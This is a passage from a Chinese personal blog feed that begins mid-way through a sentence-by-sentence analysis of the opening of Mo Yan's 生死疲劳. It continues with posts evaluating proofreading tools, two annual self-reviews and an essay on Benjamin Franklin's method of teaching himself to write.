  3. 使用成语“鸣冤叫屈”。文中大量使用成语和四字词汇,符合“我”的人物设定——一个识文断字的地主。

我的声音悲壮凄凉,传播到阎罗大殿的每个角落,激发出重重叠叠的回声。

  1. 对喊冤声的描写,让前一句的“鸣冤叫屈”这个抽象概念在读者脑中具象化。
  2. 这句分为三部分,依次描写了声音、发出声音的结果——“传播到阎罗大殿的每个角落”、声音“传播到阎罗大殿的每个角落”的结果——“激发出重重叠叠的回声”。描写层层递进,不仅描写了人物的动作,还描写了人物动作产生的结果,人物动作产生的结果又产生的新的结果。这样的描写,使读者仿佛亲耳听到人物的喊冤声。莫言某次当评委,点评一篇作品,作品中写一个人和别人打架,被人一拳把鼻子打破了,这个人随便找了块草纸把一个鼻孔塞住,就抽起烟来。写到这里不写了。莫言点评一定要继续写,这个地方才是一个作家对细节延伸想象的地方。比如可以写抽烟的时候,一个鼻孔堵住了,烟只能从另一个鼻孔冒出来,那比原来的烟道要凶猛。1

我身受酷刑而绝不改悔,挣得了一个硬汉子的名声。

  1. 这句起过渡作用。从“身受酷刑”转到“硬汉子的名声”。
  2. 前文写“受尽”酷刑,这里换成了“身受”酷刑,避免重复,显得单调。
  3. “挣”好过“赢”,“赢”显得轻轻松松, “挣”才配得上受尽酷刑。

我知道许多鬼卒对我暗中钦佩,我也知道阎王老子对我不胜厌烦。

  1. 这句同样起过渡作用。承接上文“硬汉子的名声”,点出“许多鬼卒对我暗中钦佩”,接着自然引出“阎王老子对我不胜厌烦”。
  2. 上半句写鬼卒对“我”怎样,下半句写“阎王老子”对我怎样,形式上是不严格的对偶句,内容上“暗中钦佩”和“不胜厌烦”形成反差对比。
  3. “许多鬼卒对我暗中钦佩”比“所有鬼卒对我暗中钦佩”更符合逻辑,通常来说不可能所有鬼卒都倾佩“我”。

为了让我认罪服输,他们使出了地狱酷刑中最歹毒的一招,将我扔到沸腾的油锅里,翻来覆去,像炸鸡一样炸了半个时辰,痛苦之状,难以言表。

  1. 这句承接上文的“阎王老子对我不胜厌烦”,因此要让“我”“认罪服输”,故而使出油炸酷刑。
  2. 开头第二句是“我在阴曹地府里受尽了人间难以想象的酷刑”,低水平作者可能会接着写“其中最痛苦的是油炸酷刑,那天我被扔进沸腾的油锅里……”。莫言不这样写,他使用了几个过渡句,自然引出油炸酷刑。内容饱满,逻辑连贯,毫不突兀。
  3. “扔”好过“放”等动词,更符合读者对阴曹地府中鬼卒施刑时做事风格的想象。
  4. 形容词“沸腾的”很有必要。“扔到油锅里”和“扔到沸腾的油锅里”读起来感觉完全不同。若是凉油,泡个澡又何妨;若是沸油,溅到一星半点都嫌疼。许多写作指导都说,应多用名词和动词,少用形容词和副词。形容词和副词如同调味品,适量添加饭菜更为美味,加多了会起反作用。这里“沸腾的”,是恰到好处的调味品。
  5. 初读时我对“像炸鸡一样”这个比喻没有特别的感觉。为撰写本文,搜索了炸鸡视频教程,才发现这是一个很妙的比喻。某教程中,炸鸡时长 6 分钟,每炸 2 分钟就要把鸡肉捞出油。
  6. 时间长度表述方式“半个时辰”符合“我”的人物设定。
  7. 若不描写身受油炸酷刑的感受,读者就会觉得被油炸不过如此,好像没啥特别。必须描写感受。但被油炸什么感受,作者也不知道,用“痛苦之状,难以言表”来概述,非常巧妙,给读者留下想象空间。

鬼卒还用叉子把我叉起来,高高举着,一步步走上通往大殿的台阶。

  1. 直接描写炸完后如何如何,没有用“终于”、“最后”等多余的连接词。
  2. 分步描写动作,先是“把我叉起来”,然后“高高举着”,不合并动作,更有画面感。低水平作者可能会写“鬼卒还用叉子把我高高叉起来”,这样写逊色很多。
  3. “一步步走上通往大殿的台阶”点明油锅支在大殿外,避免油烟污染大殿,符合逻辑。

两边的鬼卒嘬口吹哨,如同成群的吸血蝙蝠鸣叫。

  1. 这句描写显得地府热闹非凡,挤满鬼卒。若没有这句描写,不影响叙事,但会让读者觉得地府冷清清,没几只鬼,降低真实感。
  2. 用具象的“吸血蝙蝠”比喻抽象的“鬼卒”,给读者恐怖的直观印象。理论上,地府的鬼卒比人间存在的吸血蝙蝠更恐怖。但鬼卒并不存在,读者对鬼卒缺乏概念,没有直观印象,只有抽象理解。

我的身体滴油淅沥,落在台阶上,冒出一簇簇黄烟……

  1. 这句描写被油炸的后果之一,使“我”被油炸更为真实。
  2. 这句描写一个细节,极富画面感,读起来仿佛亲眼所见。
  3. 从拍摄影片的角度思考,拍摄鬼卒叉着“我”走上台阶,必然会拍到两旁的鬼卒,之后才给“我”身上滴油特写镜头。所以先写两旁的鬼卒,再写“我的身体滴油淅沥”。
  4. 句末用省略号好过句号。用句号显得鬼卒没几步就走完了台阶,用省略号显得鬼卒走了一段时间。

鬼卒小心翼翼地将我安放在阎罗殿前的青石板上,跪下向阎王报告:“大王,炸好了。”

  1. “小心翼翼”与前文“扔到沸腾的油锅里”形成对比。因为“我”被油炸过了,连鬼卒也只能小心翼翼地对我,这一细节描写使“我”被油炸更为真实。
  2. “青石板”好过“地板”。 “青石板”是比“地板”更具体的事物。越具体,越生动。
  3. 没有写“然后跪下向阎王报告”,直接写“跪下向阎王报告”,不使用多余连接词“然后”。
  4. 不用动词“说”,而用动词“报告”。“说”是“报告”的父集,用“报告”更具体。越具体,越生动。
  5. “跪下向阎王报告:‘大王,炸好了。’”好过“跪下向阎王说:‘报告大王,炸好了’”。报告一词是现代汉语的表述,古汉语不会这样使用。按故事发生的时间,鬼卒应该不会现代汉语,鬼卒说“报告大王”不符合逻辑。

我知道自己已经焦煳酥脆,只要轻轻一击,就会成为碎片。

  1. “我知道自己已经焦煳酥脆……”好过“我已经焦煳酥脆……”。前者是在描写“我”当时的心理活动,后者则是现在的“我”在描写当时的“我”的状态。这一心理活动为后文的“动摇”做了铺垫。
  2. “焦煳酥脆”简单几个字准确概括出油炸的效果。
  3. “轻轻一击”比“轻轻一碰”更为准确。鬼卒把“我”放在青石板上时已经碰过一次了,没有碎,说明“碰”不会碎,“击”才会。

我听到从高高的大堂上,从那高高大堂上的辉煌烛光里,传下来阎王爷几近调侃的问话:“西门闹,你还闹吗?”

  1. “高高的”、“传下来”点名了阎王爷和“我”的相对位置关系。阎王爷高高在上,“我”则趴在地上。
  2. 不要“从那高高大堂上的辉煌烛光里”不影响叙事,但“高高的大堂”就会变得空洞、抽象。添加“辉煌烛光”,让“高高的大堂”具有画面感,变得形象。
  3. 不用“说”,而用“问话”,更为精确。越具体,越生动。
  4. “我听到…..传下来阎王爷的问话”比“从高高的大堂上……传下来阎王爷的问话”更符合第一人称叙事。
  5. 这时读者才知道“我”的名字是西门闹,但只知道名字。不知道西门闹是何许人。

实话对你说,在那一瞬间,我确实动摇了。

  1. “动摇”是受到油炸酷刑的结果之一,使“我”被油炸更为真实。
  2. 受到油炸酷刑毫不动摇不真实。写“我”动摇过,更有人情味,更真实。
  3. “对你说”,目前读来是在对读者说,但读到后文就会知道,是在对小说中另一个人物说。这是一处巧妙的伏笔。

我焦干地趴在油汪里,身上发出肌肉爆裂的噼啪声。

  1. 描写“我”的状态,使“我”被油炸更为真实。
  2. 现在才写“趴在油汪里”,因为油从“我”身上流到地面聚成一汪需要时间。
  3. 前一句和后一句都是心理描写,这里插入状态描写,进一步解释“我”为何动摇。
  4. 使用拟声词“噼啪”,比只写“身上发出肌肉爆裂的声音”更为形象,生动。肌肉爆裂超出了大部分读者的生活经验,若采用后一种写法,读者很难想象这种声音。

我知道自己忍受痛苦的能力已经到达极限,如果不屈服,不知道这些贪官污吏们还会用什么样的酷刑折磨我。但如果我就此屈服,前边那些酷刑,岂不是白白忍受了吗?

  1. 这两句从正反两个方面对“动摇”的具体内容进行了描写,使人物更为真实,文章内容也更为饱满。
  2. 按照余光中的观点,“贪官污吏”后面不应该加“们”。

我挣扎着仰起头——头颅似乎随时会从脖子处折断——往烛光里观望,看到阎王和他身边的判官们,脸上都汪着一层油滑的笑容。

  1. 被问话,看一下问话的人是自然反应。但“我”得“挣扎”才能仰起头。
  2. “我”趴在地上,只“抬头”不够,必须“仰头”。
  3. 分步描写动作,先是“仰起头”,然后“往烛光里观望”;分开描写动作和动作的结果,“往烛光里观望”,然后“看到…..油滑的笑容”。更具画面感,文章内容更为充实。
  4. “头颅似乎随时会从脖子处折断”解决部分读者的疑问——已经焦糊酥脆了,一仰头脖子难道不会断吗。
  5. 文中“我”仰头看时,阎王和判官已经在笑了,“我”看不到从不笑到笑的过程,不能用“浮现”。用“含笑”、“笑呵呵”等不符合文中场景。用“挂着笑”显得阎王强颜欢笑,阎王审手中的囚犯当然不用强颜欢笑。用“汪”就很合适。
  6. “汪着一层油滑的笑容”中用“油滑”形容“笑容”,但读者都明白,“油滑”的是“阎王和他身边的判官们”。

一股怒气,陡然从我心中升起。

  1. 句式和开头第一句相同,也是前半句 4 个字,后半句一长串。
  2. “一股怒气”之后若没有逗号,读着便没了怒气。
  3. 这句解释了“我”受到油炸酷刑为何还会坚持喊冤。“我”受了这么重的刑,阎王不仅不严肃对我,还笑,让“我”怒从中来。

豁出去了,我想,宁愿在他们的石磨里被研成粉末,宁愿在他们的铁臼里被捣成肉酱,我也要喊叫:“冤枉!”

  1. 句式和上一句相同,也是前半句 4 个字,后面一长串。
  2. “豁出去了” 4 个字独立出来,强调“我”的决心。也解释了“我”为何不再害怕酷刑。
  3. “宁愿……研成粉末,宁愿……捣成肉酱”,对偶句,进一步表现“我”的决心。
  4. 不用“说”,而用“喊叫”,更为精确。越具体,越生动。

总结

《生死疲劳》的开头,文字流畅,读起来朗朗上口;用词准确,描写极具画面感;逻辑连贯,内容充实;大量使用成语、四字词和对偶句,文笔斐然。


  1. 出自微信公众号“莫言”2021年11月22日推文《【莫言和你聊聊天】好小说都具备这三个元素》 ↩︎
]]>
https://blog.werner.wiki/life-and-death-start/feed/ 0
汉语文稿校对工具评测 https://blog.werner.wiki/test-chinese-proofing-tools/ https://blog.werner.wiki/test-chinese-proofing-tools/#comments Sat, 01 Apr 2023 05:49:27 +0000 https://blog.werner.wiki/?p=2374 前言

写作令我快乐,校对使人痛苦。不仅无趣乏味,还要全神贯注。自然能够想到,软件替代人眼。网上搜索发现,这类软件不少。然而效果如何,需要进行评测。

评测方法

阅读百科词条,病句共有六种。总结不够周到,笔者再加几种。每种各选几例,汇总得到下文。复制粘贴下文,软件进行校对。只看是否检出,不管修改意见。反正我要过目,意见不是重点。

一、 语序不当

  • 我国棉花的生产,长期不能自给。
  • 在社会主义建设事业中,应该发挥广大知识分子充分的作用。
  • 如果趁现在不赶快检查一下代耕工作,眼前地就锄不好。
  • 不但他好好学习,而且还帮助其他同学。

二、 搭配不当

  • 参加长跑的同学们在公路上飞快地驰骋着。
  • 我们勾结在一起顺利完成了任务。
  • 他有一双聪明能干的手,什么都能造出来。

三、成分残缺或赘余

  • 关于电视剧《北京人在纽约》的评论已很多了。
  • 这些角色不同类型,距离相当大,如果没有善于塑造人物性格的技巧,那是演不好的。
  • 我们要尽一切力量使我们农业走上机械化、集体化。
  • 小王做任何工作都是非常认真得很。

四、结构混乱

  • 这办法又卫生,又方便,深受群众所喜爱。
  • 老工人的一席话深深地触动了小邱的心,久久不能平静下来。

五、含糊不清

  • 县里通知说,让赵乡长九月15日前去汇报。
  • 宋老大跟齐三久别重逢,谈得投机,他给他点上一支烟。

六、逻辑错误

  • 他是全部死难者中的幸免的一个。
  • 因为他偏科,所以他数理化的成绩一塌糊涂。
  • 爱迪生这个名字,对我们青年学生是不陌生的。

七、拼音输入法导致的错别字

  • 你是我的好盆友。
  • 本文前言部分的几乎话是笔者的一次尝试。
  • 设都知道这件事。

八、英文单词拼写错误

  • GitHob 是一个在线软件源代码托管服务平台。
  • 他是我的 leador。
  • chnod 命令可以修改文件权限。

评测结果

评测一些软件,结果下表可见。

软件 文字帮帮 火龙果 爱改写 秘塔写作猫 讯飞智校
版本 Web Web Web Web Web
语序不当 1/4 1/4 0/4 1/4 0/4
搭配不当 1/3 1/3 0/3 1/3 0/3
成分残缺或赘余 0/4 0/4 0/4 1/4 0/4
结构混乱 0/2 0/2 0/2 0/2 1/2
含糊不清 0/2 0/2 0/2 0/2 0/2
逻辑错误 0/3 0/3 0/3 0/3 0/3
拼音输入法导致的错别字 2/3 1/3 0/3 3/3 0/3
英文单词拼写错误 0/3 0/3 0/3 0/3 1/3
总计 4/24 3/24 0/24 6/24 2/24
误报 1 2 0 0 2
软件 钉钉文档 腾讯文档 Word Pages 文稿 ChatGPT
版本 Web Web 2019 12.1 3.5
语序不当 1/4 0/4 0/4 0/4 1/4
搭配不当 0/3 0/3 0/3 0/3 2/3
成分残缺或赘余 1/4 1/4 0/4 0/4 2/4
结构混乱 0/2 0/2 0/2 0/2 1/2
含糊不清 0/2 0/2 0/2 0/2 1/2
逻辑错误 0/3 0/3 0/3 0/3 1/3
拼音输入法导致的错别字 3/3 1/3 1/3 0/3 2/3
英文单词拼写错误 1/3 0/3 3/3 1/3 3/3
总计 6/24 2/24 4/24 1/24 13/24
误报 1 4 1 0 1

注:

  1. 很多软件为 Web 版,没有明确的版本号概念。评测时间可以为作为版本号。评测时间是 2023 年 4 月 1 日 11:00~13:00
  2. 腾讯文档需手动开启“智能纠错”插件
  3. 测试 ChatGPT 时问题统一为“这句话有语病吗?”

结论

效果不尽人意,还得我来校对。ChatGPT 最强,就是使用艰难。

后记

出于娱乐目的,笔者尝试了一种全新的语言风格。前言句长相等,还讲押韵。若是朗读出来,或许觉得朗朗上口。本想全篇都这样写,发现凑出押韵好难。之后只管长度,不管押韵了。(2023 年 4 月 2 日更新:写了一个押韵相关词检索工具,更多地方改成押韵了。)

前言部分写成一行一句,标出每句最后一个汉字的拼音,可以很清楚地看出押韵:

写作令我快乐(lè),
校对使人痛苦(kǔ)。
不仅无趣乏味(wèi),
还要全神贯注(zhù)。
自然能够想到(dào),
软件替代人眼(yǎn)。
网上搜索发现(xiàn),
这类软件不少(shǎo)。
然而效果如何(hé),
需要进行评测(cè)。

前四行构成交韵(如果认为 èèi 押韵),接下来四行构成抱韵,最后两行勉强可以算作随韵。

]]>
https://blog.werner.wiki/test-chinese-proofing-tools/feed/ 5
2022年年度总结 https://blog.werner.wiki/2022-annual-summary/ https://blog.werner.wiki/2022-annual-summary/#comments Sat, 31 Dec 2022 12:00:24 +0000 https://blog.werner.wiki/?p=2314 今年过得好像格外快,在惶惶不安中,回过神来,已经到了这一年的最后一天。

过去一年中,我仍然把自己有效的业余时间使用(但不包括体育锻炼和阅读书籍的时间)记录在 TimeHub,整理成活动日历图如下所示。

活动日历图

看到总共记录了 444.5 小时,比 2021 年少了 55.5 小时。这说明我今年比去年荒废了更多的时间。

写作

算上这篇总结,今年我只在这个博客发布了 2 篇文章。是自这个博客建立以来发布文章数量最少的一年。原因如下:

  • 技术类文章:现在我认为博客中发布的文章应该是面向读者的,交待清楚前因后果,提供对读者有用的信息,而不应该把博客作为记笔记的地方。过去的一年中我其实记了不少笔记,但不想直接把这些笔记发布在博客,也不愿意再额外花时间将笔记完善成面向读者的文章,导致博客中未发布任何技术类文章。
  • 其他类文章:除了技术类文章,以前我也会在这个博客中发布一些个人感想和自己创作的小说。今年不仅这类文章也很少,出于一些顾虑,反而还隐藏了一些以前写的这类文章。

再来谈谈小说创作。今年我只完成了一篇很短的童话故事的创作,投稿给了某征文比赛,目前还没有出结果。除了这篇童话故事外,几乎再没有投入时间到小说创作。从这一点上看,我已经放弃了小说创作。在过去的两、三年中我有时候感觉创作出伟大作品是我对抗虚无、实现人生价值的唯一途径。为此总计投入了 400 多个小时。现在又常常感觉这好像是一件毫无意义的事情,可能我投入再多时间与精力,也无法创作出一篇合格的小说。也许将来我又会重新开始投入很多时间在小说创作上,也许永远都不会再尝试。考虑到我曾做过很多半途而废的事情,后一种情况发生的可能性应该更大。如果永远都不会再尝试,已经投入的 400 多个小时就成了沉没成本。不过这也没什么,在我过去的人生中,投入了大量时间、精力,最终没有得到任何回报的事情挺多的,不差这一件。

编程

业余时间写的代码几乎都在 Github 上,因此 Github 的 contributions 可以在一定程度上反映业余编程的多少。下表是过去几年我的 Github contributions 统计。

年份 contributions
2016 47
2017 4
2018 92
2019 34
2020 226
2021 135
2022 96

今年业余时间写的代码主要有两块:

  1. 修复 Timehub 的 bug
  2. 开发一个叫做“耳语”的用于学习英语单词的软件

有次吃午饭前我打开某听书手机应用,看到在推荐《找对英语学习方法的第一本书》。我英语一向学得很差,便点开来听。前后花了 9 个多小时听完了这本书。这本书批判了我在学校时学习英语采用的方法——语法翻译法,介绍了一些比较新的第二语言习得领域的研究成果。我决定实践一下,但没有找到符合这本书中介绍的原理的学习英语单词的软件,于是决定自己动手写一个。我以前没写过桌面软件,从头开始摸索,进度比较慢。前后花了 46 个小时写出了一个能用的版本。但完成后截至目前只用它学习了 9 个小时的英语单词。不过总体来说,我对自己写的这个软件挺满意的,达到了我的预期。

阅读

下表统计了过去几年中每年阅读的图书数量。

年份 读书数量(本) 字数(万字)
2018 7 未统计
2019 7 未统计
2020 17 未统计
2021 14 171
2022 14 260

今年阅读过的所有书籍中,让我印象最为深刻的是《动物庄园》中最勤劳能干的马“布可瑟”这一角色。

《美丽新世界》中人们将“快乐就是至善”作为信仰,相信生命的目标是“让快乐一直持续下去”。在我生活的世界中,也有一些人具有相同的人生观。当我还是学生时,对这种人生观嗤之以鼻,现在开始觉得这样想也挺不错的。

我还阅读了一些王小波相对不太出名的小说——《寻找无双》、《万寿寺》和《红弗夜奔》。这些小说都很精彩,故事情节非常有趣。

跑步

今年 4 月份时,我开始户外跑步。但只跑了 7 次,累计 7.98 公里,就遇到了较为严重的疫情。从此之后再也没有到户外跑过步。去年我购买了一款名叫健身环大冒险的体感游戏机,今年也玩了几次。根据这款游戏的记录,我今年总共运动了 2.37 小时,消耗了 573.29 千卡的热量,在游戏中累计跑步 9.33 公里。

历年跑步总里程数统计如下表所示。

年份 里程(公里)
2016 389.29
2017 333.75
2018 135.39
2019 112.78
2020 28.44
2021 50.79(游戏中)
2022 17.31(部分为游戏中)

看到 2022 年跑步里程甚至比 2020 年还要少,是有记录以来最少的一年。

挖洞

今年和去年一样,没有挖到任何漏洞。但与去年不同,今年我在学习漏洞挖掘方面,投入了多达 260 个小时。

一开始,我觉得能挖到二进制漏洞是很厉害的事情,便花了大约 117 个小时学习模糊测试1。随着学习的深入,我发现很多软件已经把模糊测试集成到了自己的 CI2 中,谷歌更是推出了 oss-fuzz 这样的项目,而且运行模糊测试需要大量的计算资源,这些事情让我觉得继续学习模糊测试意义不大。

后来觉得可以学习挖掘 java/php web 应用的漏洞。花了大约 64 个小时学习了南京大学公开课《软件分析》。老师课讲得很好,作业设计也很用心。总体来说学习这门课有很多收获。但学完后发现无助于漏洞挖掘。这是一门纯理论的课程,而漏洞挖掘则更像是一门手艺。

再后来我又花了大约 66 个小时学习一个叫做 CodeQL 的东西。这个东西可以分析源代码,生成一些类似关系型数据库的数据表的东西,然后运行一些类似于 SQL 语句的查询语句就能查找出漏洞了。我感觉效果还是不错的。

既然效果不错为何没挖到漏洞?因为后来我的业余时间基本都花在写那个用来学英语单词的软件上了。我甚至不知道将来会不会继续投入时间在漏洞挖掘方面,或许会和小说创作一起被我放弃。

年份 漏洞数量
2018 0
2019 0
2020 0
2021 0
2022 0

证书

今年和去年一样,未获得任何证书。

年份 证书数量
2018 2
2019 1
2020 0
2021 0
2022 0

其他

国际音标

我在接受学校教育时从来没有哪个老师教过我英语音标。我猜测这和我的转学经历有关。我小时候在一所乡镇小学上学,五年级时转学到县城的小学。在那所乡镇小学,英语是一门副科,地位和“思想品德”差不多,英语老师没有教授学生音标。而当我五年级到县城的那所小学时,我的同班同学好像都已经学过了音标。我本人性格极其内向,又很胆小,不会主动向我害怕的英语老师请教音标;同时我又比较穷,也没有考虑过花钱请老师教我。就这样,到大学毕业,我还是不会英语音标。

我以前曾多次尝试过自学音标,均以失败告终。因为我遇到了一些无法解释的困惑。举个例子,单词 spit 的音标是 /spɪt/,其中的 /p/ 我怎么听都是类似汉语拼音 b 的发音,而单词 pit 的音标是 /pɪt/,其中的 /p/ 我怎么听都是类似汉语拼音 p 的发音。我无法确定 /p/ 这个音标到底应该怎样读,由此陷入到自我怀疑中。另一个让我疑惑的地方是 bit 这个单词的音标是 /bɪt/,其中的 /b/ 我怎么听都是类似汉语拼音 b 的发音,那它和 /spɪt/ 中 /p/ 到底是什么区别。我过去自学时使用的课程,没有一个能较好地解释这些困惑。我好像也问过同学,但也没有人能给我清楚的解释。

今年 2 月份时,有朋友向我推荐了一套国际音标视频课程——【语言学科普】一本万利的国际音标。这套课程完美解决了我的所有疑惑。但由于我对学习音标没有特别的需求,毕竟现在我不再需要参加任何英语考试,所以学习起来断断续续,直到 11 月份才学完。前后总共投入了 14.5 小时。

原来斜线 (/ /) 表示音位标音法,符号和真实发音并不严格一一对应。方括号 ([ ]) 表示音素标音法,符号和真实发音才严格一一对应。/spɪt/ 用音素标音法是 [spɪt],/pɪt/ 用音素标音法是 [phɪt](上标 h 是送气符号)。这样一写,两者的区别就一目了然了,前者不送气,后者送气。至于[spɪt] 中的 [p] 和 [bɪt] 中的 [b] 在我听来几乎是一样的,这是因为 [b] 是浊辅音,汉语中没有浊辅音,只有清辅音,我的嗓子在过去近 30 年里从没有发出过 [b],自然也很难分辨出 [p] 和 [b]。这套视频教程也教授了如何练习发浊辅音,但我没能学会。后来我参考知乎的这个回答,练习了一两个小时,学会了发浊辅音。学会发浊辅音后便渐渐能听出浊辅音和清辅音的区别了。

折纸

为了保护视力,我决定发展一项不需要看屏幕的业余爱好,最终选择了折纸。选择折纸主要是因为便宜。目前总共投入¥157.65,其中¥90.8 用于购买相关书籍,其余用于购买折纸使用的纸。这些书籍和纸张应该足够几年使用。目前我学会的最复杂的折纸是“马”,如下图所示。

horse

总结

今年没有达成任何让我满意的成就,我不太情愿写这篇总结。但想到连续写了好几年了,若是中断未免有些可惜,还是写了。至少这样就达成了一项成就——连续 4 年写年度总结。


  1. 模糊测试是一种流行的挖掘二进制漏洞的方法。 ↩︎
  2. CI,持续集成。具体解释可参考此处。 ↩︎
]]>
https://blog.werner.wiki/2022-annual-summary/feed/ 2
富兰克林如何自学写作 https://blog.werner.wiki/how-franklin-taught-himself-to-write/ https://blog.werner.wiki/how-franklin-taught-himself-to-write/#respond Sat, 16 Apr 2022 03:04:38 +0000 https://blog.werner.wiki/?p=2287 本杰明·富兰克林是美国开国元勋之一,同时也是一位出色的作家。在自传1中,他讲述了自己如何自学习作。

大约 14 岁时,富兰克林和一个朋友互相写信,争论女性应不应当接受做学问的教育,她们的钻研能力又怎样。他的父亲碰巧发现了这些信件,阅读后向富兰克林指出,就拼写和标点的正确而言,他比朋友强,但若是论文笔的优雅、章法的严谨、表达的明晰,他就比朋友差了一大截,并一一举例印证。富兰克林心服口服,从此之后特别注意文笔,下定决心努力改进。

就在这个时候,富兰克林偶然看到了一卷零散的《旁观者》,把它买了下来,反反复复读了好多遍,真是爱不释手。富兰克林觉得《旁观者》中的文章文笔非常优美,希望自己也能写出这样好的文章来。于是他采取了一些方法来训练自己,这些方法非常有效,三个世纪后被选入《刻意练习:如何从新手到大师》一书中做为自学的优秀案例2

第一种训练。目的:写出和《旁观者》一样好的文章。做法:选《旁观者》中的几篇文章,写出每个句子的要旨,搁置几天,不看书,试着用到手的贴切的字眼详尽地表达每个要旨,争取像原来表现的一样充分,努力再现原文,最后比较自己写的与原文,寻找差异与不足。结果:发现自己词汇贫乏,做不到招之即来,运用自如。

第二种训练。目的:提升词汇储备。做法:找几篇散文,把它们改写成诗歌(在改写成诗歌时需要使用同义词代替原文中的一些词汇),过上一段时间,等把原来的散文忘在脑后时,把诗歌还原成散文,最后比较自己使用的词汇和原文的词汇。结果:提升了词汇储备。

第三种训练。目的:学习如何组织文章。方法:找几篇文章,写出句子要旨,把要旨打乱,过几个礼拜,忘记原文后再努力将它们排列成最佳的顺序,然后造成完整的句子,再联句成篇,最后和原文进行比较,寻找差异与不足。结果:学会了理顺思绪的章法。

我将富兰克林自学写作的每种方法都归纳为 5 个阶段:

  1. 准备阶段:选取优秀的原文,对原文进行处理,准备训练用的素材
  2. 遗忘阶段:经过一段时间,遗忘原文
  3. 练习阶段:根据素材尝试还原出原文
  4. 反馈阶段:将自己还原出的文章和原文做对比,寻找差异和不足
  5. 改进阶段:总结反思自己文章的不足,设法改进;必须时设计新的训练方法

这个过程和 PDCA 循环3非常像,可以认为是 PDCA 循环在自学写作时的一种特例。

之所以这么麻烦,是因为没有导师。如果有导师,直接把自己写的文章拿给导师看,就可以获得反馈。这让我想起了编程。编程入门是比较容易的,因为编译器/解释器充当了导师的角色。编译器/解释器会告诉初学者,他/她写的代码哪里有问题。但若过了初学阶段,编程学习者不再犯语法层面的错误,编译器/解释器无力指出代码风格、设计模式、模块划分等层面的问题,全靠自学的编程学习者无法获得有效的反馈,编程能力便止步不前了。虽然可能写了很多代码,但只是简单重复,并没有什么提升。这位自学者可以效仿富兰克林,找一个优秀又简单的开源项目,使用它、了解它的功能,然后自己动手编写一个同样功能的程序,最后比较开源项目的源代码和自己写的代码,分析它们的差异,从而了解自己的不足。


  1. 本文内容主要引自《富兰克林自传》,上海译文出版社 2018 年版。 ↩︎
  2. 相关内容见该书第 6 章“在生活中运用刻意练习原则”第 3 节“没有导师,怎么办”。 ↩︎
  3. PDCA 循环指 Plan(计划)、Do(执行)、Check(检查) 和 Act(处理) 循环,详情请参阅百度百科相关词条。 ↩︎
]]>
https://blog.werner.wiki/how-franklin-taught-himself-to-write/feed/ 0
2021年年度总结 https://blog.werner.wiki/2021-annual-summary/ https://blog.werner.wiki/2021-annual-summary/#comments Fri, 31 Dec 2021 14:27:44 +0000 https://blog.werner.wiki/?p=2254 又到年末,又老了一岁。不过老了一岁不假,却不见得离死亡更近了一岁。人的寿命不是固定的,若是这一年里胡吃海喝,肆意熬夜,虽然只过了一年,却离死亡不知要近了多少年;若是这一年里合理饮食,适量运动,规律作息,说不定反而离死亡远了好多年。回想自己过去一年里的所作所为,介于两者之间,大概离后者更近些,但也不确定。我只知道自己老了一岁,不知道自己离死亡是近了还是远了,近了或远了多少。我不觉得这些想法是无病呻吟,思考死亡是有意义的,它提醒我人生是有限的,应该珍惜时间,常常反思。写年度总结大抵也是同样的目的。

2020 年 8 月的一天,我感叹自己浪费了太多时间,想记录一下业余时间都花到哪儿去了。没有找到满意的工具,决定自己动手,写了一个名为 TimeHub 的网站。今年一整年,我都把自己有效的业余时间使用(但不包括体育锻炼和阅读书籍的时间)记录在 TimeHub,最终整理成活动日历图如下所示。

看到总共记录了 500 个小时。2021 年有 250 个工作日、115 个节假日,按每个工作日有 2 小时,每个节假日有 10 小时计算,2021 年共有 1650 小时可自由支配的业余时间。我只有效利用了其中的不到三分之一。但我已经很满意了,毕竟我只是个意志力薄弱的普通人。

写作

下表统计了过去几年中每年所写的不同类型博客文章的数量。

类别 2021 2020 2019 2018
技术 3 2 13 7
小说 0 1 2 0
科普 16 0 0 0
读后感 0 4 2 1
寓言与笑话 2 0 0 0
思考与总结 2 1 4 3
合计 23 9 20 13

我在今年 5 月报名参加了一个为期 3 个月的科普写作培训班,这期间写了挺多作为作业的科普文。其中大部分质量都很差,只有最后一篇勉强能算及格,被老师发表在了自己的公众号上,给了我一笔小小的稿费。我为这个培训班投入了 134 小时的业余时间。

今年我没有在这个博客发表任何小说,并不是因为我已经放弃了创作小说的想法,而是更认真地对待它——写完小说后不应着急发表,而应放置一段时间,等自己从作者变成读者后,再重新阅读和修改。实际上今年我总共完成了 3.5 篇短篇小说的创作。自我感觉比去年的习作水平高很多,但还是没能达到可以在杂志发表的水平。一个多月前向一家杂志投稿了其中我最满意的一篇,截至目前没有收到任何回信。今年我花在写小说上的时间总共有 141 小时。

编程

业余时间写的代码几乎都在 Github 上,因此 Github 的 contributions 可以在一定程度上反映业余编程的多少。下表是过去几年我的 Github contributions 统计。

年份 contributions
2016 47
2017 4
2018 92
2019 34
2020 226
2021 135

今年业余时间写的代码基本上都是在重构和小修小补 Timehub,努力把它塑造成我需要的样子。总共投入了大约 45 小时。

阅读

下表统计了过去几年中每年阅读的图书数量,看到基本和去年持平。

年份 读书数量(本) 字数(万字)
2018 7 未统计
2019 7 未统计
2020 17 未统计
2021 14 171

今年读了很多很不错的书。老舍的《骆驼祥子》对我产生了很大的影响。读完《骆驼祥子》后,我走在上班的路上,幻想若是有记者向我提问,问我是否幸福,我一定会这样回答:“我很幸福。因为我每天都有饭吃,也有衣服穿,住的房子虽然有点漏风,但不漏雨,也不用担心下暴雨房子会塌下来砸死我。”

另一本我很喜欢的书是叔本华的《人生的智慧》。虽然罗素的《幸福之路》也很不错,但我更喜欢这本。因为这本书中有这样一段话:

一个人如果在年轻时就学会了察言观色,长于待人接物;所以,能够驾轻就熟地处理社会上的人际关系,那么对于智力和道德来说,这可不是一个好现象,因为它说明这个人是一个平庸之辈。但是,如果一个年轻人在处理这类人际关系时,举动显示出惊讶、疑惑、笨拙和颠三倒四,反而说明他所具有的素质更高。

我处理人际关系时正是显示出惊讶、疑惑、笨拙和颠三倒四!

跑步

没找到合适的时间与地方,我今年一整年都没有跑过步。为保持身体健康,年初购买了一款名叫健身环大冒险的体感游戏机。根据这款游戏的记录,我总共运动了 20 个小时,消耗了 3344.52 千卡的热量,在游戏中累计跑步 50.79 公里。这样算来,倒是比去年跑得多。

历年跑步总里程数统计如下表所示。

年份 里程(公里)
2016 389.29
2017 333.75
2018 135.39
2019 112.78
2020 28.44
2021 50.79(游戏中)

挖洞

今年和去年一样,没有挖到任何漏洞。但与去年不同,今年我在学习漏洞挖掘方面,投入了 115 个小时,绝不算少。但这方面需要我学习的东西还有很多,所以暂时没有任何产出。

年份 漏洞数量
2018 0
2019 0
2020 0
2021 0

证书

